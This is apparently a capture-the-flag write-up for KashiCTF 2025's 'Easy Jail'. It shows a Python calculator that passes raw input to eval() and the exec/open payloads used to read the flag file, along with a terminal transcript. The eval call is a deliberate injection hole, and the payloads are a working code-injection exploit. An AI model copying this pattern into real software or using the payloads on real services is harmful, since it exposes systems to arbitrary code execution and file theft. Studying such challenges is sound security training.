Easy Jail Writeup - KashiCTF 2025
Provided Source Code
The provided zip file has two relevant files, Dockerfile
and chall.py
.
Dockerfile
contains:
FROM python:3.12-slim
WORKDIR /challenge
COPY chall.py /challenge/chall.py
COPY flag.txt /flag.txt
RUN chmod +x /challenge/chall.py
CMD ["python", "/challenge/chall.py"]
This tells us the flag file will be at /flag.txt
and how the Python code is being executed.
chall.py
has this Python code:
#!/usr/bin/env python3
print(" _ _ _ ")
print(" | | | | | | ")
print(" ___ __ _| | ___ _ _| | __ _| |_ ___ _ __ ")
print(" / __/ _` | |/ __| | | | |/ _` | __/ _ \| '__|")
print("| (_| (_| | | (__| |_| | | (_| | || (_) | | ")
print(" \___\__,_|_|\___|\__,_|_|\__,_|\__\___/|_| ")
def calc(op):
try :
res = eval(op)
except :
return print("Wrong operation")
return print(f"{op} --> {res}")
def main():
while True :
inp = input(">> ")
calc(inp)
if __name__ == '__main__':
main()
The code will run eval(input)
on any input and show the result if a result is returned, or “Wrong operation” on anything else.
eval()
expects a string but input()
provides one from what we enter.
We want to read the /flag.txt
file with Python since the script is running directly in Python and not in an interactive shell like Bash or Z Shell.
Reading the flag
Note /tmp/flag.txt is used here to get it to run locally, otherwise it says
Wrong operation
but/flag.txt
did work in the actual challenge!
Trying to use:
exec('content = open(\"/tmp/flag.txt\", \"r\").read(); print content')
shows a Wrong operation
, putting it in quotes just shows what we inputted.
But the following does work:
calc("exec('content = open(\"/tmp/flag.txt\", \"r\").read(); print(content)')")
Here’s what the output / interaction looks like:
❯ python3 chall.py
>> exec('content = open(\"/tmp/flag.txt\", \"r\").read(); return content')
Wrong operation
>> exec('content = open(\"/tmp/flag.txt\", \"r\").read(); print content')
Wrong operation # print also doesn't work
>> calc("exec('content = open(\"/tmp/flag.txt\", \"r\").read(); print(content)')")
example_flag
exec('content = open("/tmp/flag.txt", "r").read(); print(content)') --> None
calc("exec('content = open(\"/tmp/flag.txt\", \"r\").read(); print(content)')") --> None
>>
🚩 In the above ’example_flag’ is shown where the actual flag would be 🙂.